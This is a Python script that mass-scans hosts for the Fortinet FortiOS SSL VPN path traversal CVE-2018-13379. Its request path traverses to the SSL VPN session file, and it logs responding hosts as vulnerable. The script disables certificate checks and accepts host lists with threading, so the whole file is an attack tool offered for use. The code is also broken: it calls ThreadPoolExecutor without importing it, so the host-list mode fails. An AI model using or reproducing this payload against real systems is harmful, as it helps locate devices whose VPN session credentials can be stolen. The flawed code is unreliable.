import argparse
import requests
import threading
import os
import sys

import urllib3

def disable_ssl_warnings():
    urllib3.disable_warnings()

def clear_terminal():
    os.system('cls' if os.name == 'nt' else 'clear')

def arg_check():
    if len(sys.argv) <= 1:
        print('\nPlease use -h for help.')
        exit(0)

def check_vulnerability(host, output_file):
    try:
        url = f"https://{host}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
        response = requests.head(url, verify=False, timeout=10)
        if response.status_code == 200:
            with open(output_file, "a") as f:
                f.write(host + "\n")
            print(f"[#] {host} - VULNERABLE")
        else:
            print(f"[-] {host} - X")
    except requests.RequestException:
        pass

def main():
    try:
        disable_ssl_warnings()
        clear_terminal()
        arg_check()

        print("""
        #########################################################
        #                                                       #
        #         Path Traversal Vulnerability                  #
        #             Severity: Critical                        #
        #                                                       #
        #########################################################
        
        [$] Description:
        
        An Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") 
        in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7 and 5.4.6 to 5.4.12 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal
        https://crashtest-security.com/cve-2018-13379/#:~:text=CVE%2D2018%2D13379%20is%20a%20pre%2Dauthentication%20vulnerability%20that,HTTP%20requests%20to%20FortiOS%20devices.
        """)

        parser = argparse.ArgumentParser(description="Check for Fortinet Fortigate vulnerability")
        parser.add_argument("-u", "--url", help="URL to check for vulnerability")
        parser.add_argument("-f", "--file", help="File containing list of hosts")
        parser.add_argument("-o", "--output", help="Output file for vulnerable hosts")
        parser.add_argument("-t", "--threads", default=10, type=int, help="Number of threads (default: 10)")
        args = parser.parse_args()

        if args.url and args.output:
            check_vulnerability(args.url, args.output)
        elif args.file and args.output:
            with open(args.file, "r") as host_file:
                hosts = [line.strip() for line in host_file.readlines() if line.strip()]

            with ThreadPoolExecutor(max_workers=args.threads) as executor:
                executor.map(check_vulnerability, hosts, [args.output] * len(hosts))
        else:
            print("[-] Both URL and output file OR input file and output file must be provided.")

    except Exception as e:
        print(f"An error occurred: {e}")

if __name__ == "__main__":
    main()
